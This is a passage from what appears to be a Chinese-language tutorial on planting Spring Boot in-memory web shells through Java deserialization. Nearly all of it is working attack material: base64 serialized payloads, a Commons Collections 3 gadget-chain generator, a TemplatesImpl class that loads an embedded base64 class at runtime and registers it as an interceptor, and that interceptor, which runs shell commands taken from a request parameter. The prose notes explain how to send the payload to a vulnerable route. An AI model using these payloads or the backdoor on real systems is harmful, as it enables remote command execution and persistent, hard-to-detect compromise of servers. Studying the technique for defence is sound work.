tQUFBQVhBQUpBRVFBQXdBckFDd0FCZ0FaQUlrQUxRQXVBQVVBWWdCQUFDc0FMQUFHQUhnQUtnQXZBREFBQndBSkFLVUFNUUF1QUFNQUVRQ2RBRElBTXdBRUFBQUFzd0FuQUNnQUFBQUFBTE1BTkFBMUFBRUFBQUN6QURZQU53QUNBRGdBQUFBcEFBaitBRWNIQURrSEFEb0hBRG44QUJvSEFEdjhBQ1VIQUR4QkJ3QTUrQUFhK1FBSVFnY0FQUUFBUGdBQUFBa0NBRFFBQUFBMkFBQUFBUUEvQUFBQUFnQkEBABZzdW4vbWlzYy9CQVNFNjREZWNvZGVyDACXAJgBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAtkZWZpbmVDbGFzcwEAD2phdmEvbGFuZy9DbGFzcwEAEGphdmEvbGFuZy9TdHJpbmcHAJkMAJoATAwAmwCcBwCdDACeAJ8HAKAMAKEAogwAowCkAQAQamF2YS9sYW5nL09iamVjdAEAOW9yZy5jbG93bi5zcHJpbmdib290bWVtb3J5c2hlbGwuY29udG9ybGxlci5UZXN0Q29udHJvbGxlcgwApQCmDACnAKgMAKkAqgcAqwwArACtBwCuDACvALABABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEAEkluc3RhbmNlIGNyZWF0ZWQ6IAwAsQCyDACxALMMALQAtQcAtgwAtwC4BwC5DAC6ALsBADlvcmcuc3ByaW5nZnJhbWV3b3JrLndlYi5zZXJ2bGV0LkRpc3BhdGNoZXJTZXJ2bGV0LkNPTlRFWFQHALwMAL0AvgEANW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvV2ViQXBwbGljYXRpb25Db250ZXh0AQBGb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbgEABi9zaGVsbAwALwC/AQA9b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbwwALwDAAQBSb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL2Fubm90YXRpb24vUmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwwAwQDCDADDAMQMAMUAxgEAE2phdmEvbGFuZy9FeGNlcHRpb24MAMcAMAEAGmNvbS9jbG93bi9Db250cm9sbGVyQmVoaW5kAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEADGRlY29kZUJ1ZmZlcgEAFihMamF2YS9sYW5nL1N0cmluZzspW0IBABFqYXZhL2xhbmcvSW50ZWdlcgEABFRZUEUBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9sYW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBABhqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2QBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAEGphdmEvbGFuZy9UaHJlYWQBAA1jdXJyZW50VGhyZWFkAQAUKClMamF2YS9sYW5nL1RocmVhZDsBABVnZXRDb250ZXh0Q2xhc3NMb2FkZXIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7AQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAA5nZXRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABBqYXZhL2xhbmcvU3lzdGVtAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAtKExqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQA8b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RDb250ZXh0SG9sZGVyAQAYY3VycmVudFJlcXVlc3RBdHRyaWJ1dGVzAQA9KClMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9yZXF1ZXN0L1JlcXVlc3RBdHRyaWJ1dGVzOwEAOW9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlcwEADGdldEF0dHJpYnV0ZQEAJyhMamF2YS9sYW5nL1N0cmluZztJKUxqYXZhL2xhbmcvT2JqZWN0OwEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAfYoTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9QYXJhbXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9jb25kaXRpb24vSGVhZGVyc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9Qcm9kdWNlc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL2NvbmRpdGlvbi9SZXF1ZXN0Q29uZGl0aW9uOylWAQAHZ2V0QmVhbgEAJShMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL09iamVjdDsBABJnZXREZWNsYXJlZE1ldGhvZHMBAB0oKVtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAD3JlZ2lzdGVyTWFwcGluZwEAbihMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9tdmMvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbztMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOylWAQAPcHJpbnRTdGFja1RyYWNlACEALQAuAAAAAAAEAAEALwAwAAEAMQAAAC8AAQABAAAABSq3AAGxAAAAAgAyAAAABgABAAAAEQAzAAAADAABAAAABQA0ADUAAAABADYANwADADEAAAA/AAAAAwAAAAGxAAAAAgAyAAAABgABAAAALAAzAAAAIAADAAAAAQA0ADUAAAAAAAEAOAA5AAEAAAABADoAOwACADwAAAAEAAEAPQA+AAAACQIAOAAAADoAAAABADYAPwADADEAAABJAAAABAAAAAGxAAAAAgAyAAAABgABAAAAMQAzAAAAKgAEAAAAAQA0ADUAAAAAAAEAOAA5AAEAAAABAEAAQQACAAAAAQBCAEMAAwA8AAAABAABAD0APgAAAA0DADgAAABAAAAAQgAAAAgARAAwAAEAMQAAAfsACQALAAAA7BICS7sAA1m3AAQqtgAFTBIGEgcHvQAIWQMSCVNZBBIKU1kFsgALU1kGsgALU7YADE0sBLYADSy4AA62AA8HvQAQWQMSEVNZBCtTWQUDuAASU1kGK764ABJTtgATwAAITi0DvQAItgAUOgQZBAO9ABC2ABU6BbIAFrsAF1m3ABgSGbYAGhkFtgAbtgActgAduAAeEh8DuQAgAwDAACE6BrsAIlkEvQAJWQMSI1O3ACQ6B7sAJVkZBwEBAQEBAbcAJjoIGQYSJ7kAKAIAwAAnOgkttgApAzI6ChkJGQgZBRkKtgAqpwAISyq2ACyxAAEAAADjAOYAKwAEADIAAABKABIAAAAUAAMAFQAPABYAMQAXADYAGABgABkAagAaAHUAGwCPABwAnwAdALEAHgDCAB8A0AAhANgAIgDjACUA5gAjAOcAJADrACcAMwAAAHoADAADAOAARQBGAAAADwDUAEcASAABADEAsgBJAEoAAgBgAIMASwBMAAMAagB5AE0ATgAEAHUAbgBPAFAABQCfAEQAUQBSAAYAsQAyAFMAVAAHAMIAIQBVAFYACADQABMAVwBYAAkA2AALAFkASgAKAOcABABaAFsAAABcAAAAFgACAGAAgwBLAF0AAwBqAHkATQBeAAQAXwAAAAkAAvcA5gcAYAQAAQBhAAAAAgBicHQAA2FhYXB3AQB4dXIAEltMamF2YS5sYW5nLkNsYXNzO6sW167LzVqZAgAAeHAAAAABdnIAHWphdmF4LnhtbC50cmFuc2Zvcm0uVGVtcGxhdGVzAAAAAAAAAAAAAAB4cHNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAABAAAAAAeHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHEAfgAt
|
然后传给漏洞路由,记得url编码一下
然后现在就是成功打入了,返回error是链子反序列化的时候抛异常但是代码已经是执行了的
现在访问shell路由就可以执行任意命令了
反序列化利用Interceptor
这里的利用也类似,那就走一遍流程
要注册的Interceptor
package org.clown.springbootmemoryshell.interceptor;
import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.BufferedReader; import java.io.InputStreamReader;
public class TestInterceptor implements HandlerInterceptor { @Override public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { String code = request.getParameter("code"); if(code != null){ try { java.io.PrintWriter writer = response.getWriter(); ProcessBuilder p; if(System.getProperty("os.name").toLowerCase().contains("win")){ p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code}); }else{ p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code}); } p.redirectErrorStream(true); Process process = p.start(); BufferedReader r = new BufferedReader(new InputStreamReader(process.getInputStream())); String result = ""; StringBuilder results=new StringBuilder(); while((result=r.readLine())!=null){ results.append(result+"\r\n"); } System.out.println(results); writer.println(results); writer.flush(); writer.close(); }catch (Exception e){ } return false; } return true; }
@Override public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { HandlerInterceptor.super.postHandle(request, response, handler, modelAndView); }
@Override public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { HandlerInterceptor.super.afterCompletion(request, response, handler, ex); } }
|
TemplatesImpl恶意类
package com.clown;
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import org.springframework.web.context.WebApplicationContext; import org.springframework.web.context.request.RequestContextHolder; import org.springframework.web.servlet.HandlerInterceptor; import org.springframework.web.servlet.handler.AbstractHandlerMapping; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.List;
public class InterceptorDes extends AbstractTranslet { static { try { WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping mappingHandlerMapping = context.getBean(AbstractHandlerMapping.class); Field field = null; try { field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); } catch (NoSuchFieldException e) { e.printStackTrace(); } field.setAccessible(true); List<HandlerInterceptor> adaptInterceptors = null; try { adaptInterceptors = (List<HandlerInterceptor>) field.get(mappingHandlerMapping); } catch (IllegalAccessException e) { e.printStackTrace(); } String code ="yv66vgAAADQArAoAKABeCABFCwBfAGALAGEAYggAYwoAZABlCgALAGYIAGcKAAsAaAcAaQcAaggAawgAbAoACgBtCABuCABvCgAKAHAKAAoAcQcAcgcAcwoAdAB1CgAUAHYKABMAdwgAeAcAeQoAGQBeCgATAHoKABkAewgAfAoAGQB9CQBkAH4KAH8AgAoAgQCACgCBAIIKAIEAgwcAhAsAKQCFCwApAIYHAIcHAIgHAIkBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAPUxvcmcvY2xvd24vc3ByaW5nYm9vdG1lbW9yeXNoZWxsL2ludGVyY2VwdG9yL1Rlc3RJbnRlcmNlcHRvcjsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQABcAEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAGd3JpdGVyAQAVTGphdmEvaW8vUHJpbnRXcml0ZXI7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAFyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQAGcmVzdWx0AQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcmVzdWx0cwEAGUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAdyZXF1ZXN0AQAnTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7AQAIcmVzcG9uc2UBAChMamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2U7AQAHaGFuZGxlcgEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABGNvZGUBAA1TdGFja01hcFRhYmxlBwBqBwCKBwBpBwCHBwCLBwCMBwCIBwCNBwByBwB5BwCEAQAKRXhjZXB0aW9ucwEAEE1ldGhvZFBhcmFtZXRlcnMBAApwb3N0SGFuZGxlAQCSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7KVYBAAxtb2RlbEFuZFZpZXcBAC5Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7AQAPYWZ0ZXJDb21wbGV0aW9uAQB5KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL0V4Y2VwdGlvbjspVgEAAmV4AQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAKU291cmNlRmlsZQEAFFRlc3RJbnRlcmNlcHRvci5qYXZhDAAqACsHAIsMAI4AjwcAjAwAkACRAQAHb3MubmFtZQcAkgwAkwCPDACUAJUBAAN3aW4MAJYAlwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgEAEGphdmEvbGFuZy9TdHJpbmcBAAdjbWQuZXhlAQACL2MMACoAmAEACS9iaW4vYmFzaAEAAi1jDACZAJoMAJsAnAEAFmphdmEvaW8vQnVmZmVyZWRSZWFkZXIBABlqYXZhL2lvL0lucHV0U3RyZWFtUmVhZGVyBwCNDACdAJ4MACoAnwwAKgCgAQAAAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAKEAlQwAogCjAQACDQoMAKQAlQwApQCmBwCnDACoAKkHAIoMAKoAKwwAqwArAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAVABVDABYAFkBADtvcmcvY2xvd24vc3ByaW5nYm9vdG1lbW9yeXNoZWxsL2ludGVyY2VwdG9yL1Rlc3RJbnRlcmNlcHRvcgEAEGphdmEvbGFuZy9PYmplY3QBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAE2phdmEvaW8vUHJpbnRXcml0ZXIBACVqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0AQAmamF2YXgvc2VydmxldC9odHRwL0h0dHBTZXJ2bGV0UmVzcG9uc2UBABFqYXZhL2xhbmcvUHJvY2VzcwEADGdldFBhcmFtZXRlcgEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAYKExqYXZhL2lvL0lucHV0U3RyZWFtOylWAQATKExqYXZhL2lvL1JlYWRlcjspVgEACHJlYWRMaW5lAQAGYXBwZW5kAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7AQAIdG9TdHJpbmcBAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL09iamVjdDspVgEABWZsdXNoAQAFY2xvc2UAIQAnACgAAQApAAAABAABACoAKwABACwAAAAvAAEAAQAAAAUqtwABsQAAAAIALQAAAAYAAQAAAAwALgAAAAwAAQAAAAUALwAwAAAAAQAxADIAAwAsAAACJwAGAAsAAADcKxICuQADAgA6BBkExgDOLLkABAEAOgUSBbgABrYABxIItgAJmQAiuwAKWQa9AAtZAxIMU1kEEg1TWQUZBFO3AA46BqcAH7sAClkGvQALWQMSD1NZBBIQU1kFGQRTtwAOOgYZBgS2ABFXGQa2ABI6B7sAE1m7ABRZGQe2ABW3ABa3ABc6CBIYOgm7ABlZtwAaOgoZCLYAG1k6CcYAIBkKuwAZWbcAGhkJtgAcEh22ABy2AB62ABxXp//bsgAfGQq2ACAZBRkKtgAhGQW2ACIZBbYAI6cABToFA6wErAABAA8A0wDWACQAAwAtAAAAVgAVAAAADwAKABAADwASABcAFAAnABUARgAXAGIAGQBpABoAcAAbAIUAHACJAB0AkgAeAJ0AHwC6ACEAwgAiAMkAIwDOACQA0wAmANYAJQDYACcA2gApAC4AAAB6AAwAQwADADMANAAGABcAvAA1ADYABQBiAHEAMwA0AAYAcABjADcAOAAHAIUATgA5ADoACACJAEoAOwA8AAkAkgBBAD0APgAKAAAA3AAvADAAAAAAANwAPwBAAAEAAADcAEEAQgACAAAA3ABDAEQAAwAKANIARQA8AAQARgAAAFUAB/0ARgcARwcASPwAGwcASf8ALwALBwBKBwBLBwBMBwBNBwBHBwBIBwBJBwBOBwBPBwBHBwBQAAAn/wAbAAUHAEoHAEsHAEwHAE0HAEcAAQcAUQEBAFIAAAAEAAEAJABTAAAADQMAPwAAAEEAAABDAAAAAQBUAFUAAwAsAAAAYAAFAAUAAAAKKissLRkEtwAlsQAAAAIALQAAAAoAAgAAAC4ACQAvAC4AAAA0AAUAAAAKAC8AMAAAAAAACgA/AEAAAQAAAAoAQQBCAAIAAAAKAEMARAADAAAACgBWAFcABABSAAAABAABACQAUwAAABEEAD8AAABBAAAAQwAAAFYAAAABAFgAWQADACwAAABgAAUABQAAAAoqKywtGQS3ACaxAAAAAgAtAAAACgACAAAAMwAJADQALgAAADQABQAAAAoALwAwAAAAAAAKAD8AQAABAAAACgBBAEIAAgAAAAoAQwBEAAMAAAAKAFoAWwAEAFIAAAAEAAEAJABTAAAAEQQAPwAAAEEAAABDAAAAWgAAAAEAXAAAAAIAXQ=="; byte[] d = new sun.misc.BASE64Decoder().decodeBuffer(code); java.lang.reflect.Method m = ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, byte[].class, int.class, int.class}); m.setAccessible(true); Class<?> clazz = (Class<?>) m.invoke(Thread.currentThread().getContextClassLoader(), new Object[]{"org.clown.springbootmemoryshell.interceptor.TestInterceptor", d, 0, d.length}); Constructor<?> constructor = clazz.getConstructor(); HandlerInterceptor evilInterceptor = (HandlerInterceptor) constructor.newInstance(); adaptInterceptors.add(evilInterceptor); }catch (Exception e){ e.printStackTrace(); }
}
@Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
|
cc3链子
package com.clown;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.nio.file.Files; import java.nio.file.Paths; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CC3Interceptor { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class c=templates.getClass(); Field name = c.getDeclaredField("_name"); name.setAccessible(true); name.set(templates,"aaa"); Field bytecodes = c.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); byte[] code= Files.readAllBytes(Paths.get("InterceptorDes.class")); byte[][] codes={code}; bytecodes.set(templates,codes);
Transformer[] transformers=new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates}), }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); Map<Object,Object> map=new HashMap<>(); Map lazyMap = LazyMap.decorate(map, chainedTransformer); Class c1 = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annotation = c1.getDeclaredConstructor(Class.class, Map.class); annotation.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) annotation.newInstance(Override.class,lazyMap); Map proxyMap = (Map) Proxy.newProxyInstance(lazyMap.getClass().getClassLoader(), new Class[]{Map.class}, invocationHandler); Object o = annotation.newInstance(Override.class, proxyMap); System.out.println(serialize(o));
} public static String serialize(Object obj)throws Exception{ ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream oos=new ObjectOutputStream(byteArrayOutputStream); new ObjectOutputStream(new FileOutputStream("ser.bin")).writeObject(obj); oos.writeObject(obj); oos.close(); byte[] bytes = byteArrayOutputStream.toByteArray(); return Base64.getEncoder().encodeToString(bytes); } public static Object unserialize(String Filename)throws Exception{ ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename)); Object obj=ois.readObject(); return obj; } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } }
|
rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAJzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAN2NvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRyQVhGaWx0ZXIAAAAAAAAAAAAAAHhwc3IAPm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5JbnN0YW50aWF0ZVRyYW5zZm9ybWVyNIv0f6SG0DsCAAJbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAXNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzcQB+ABhMAAVfbmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAF1cgACW0Ks8xf4BghU4AIAAHhwAAAjZsr+ur4AAAA0ALsKACoAZwoAaABpCABqCwBrAGwHAG0HAG4LAAUAbwgAcAoAFwBxBwByCgAKAHMKAHQAdQoAdAB2BwB3BwB4CgAPAHMIAHkHAHoKABIAZwoAEgB7BwB8CAB9BwB+BwB/BwBPCQCAAIEKABcAggoAgwB1CgCEAIUKAIQAhgcAhwgAiAoAgACJCgCDAIoKABcAiwoAjACNBwCOCwAOAI8HAJAKACcAcwcAkQcAkgEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAaTGNvbS9jbG93bi9JbnRlcmNlcHRvckRlczsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAkwEAEE1ldGhvZFBhcmFtZXRlcnMBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRl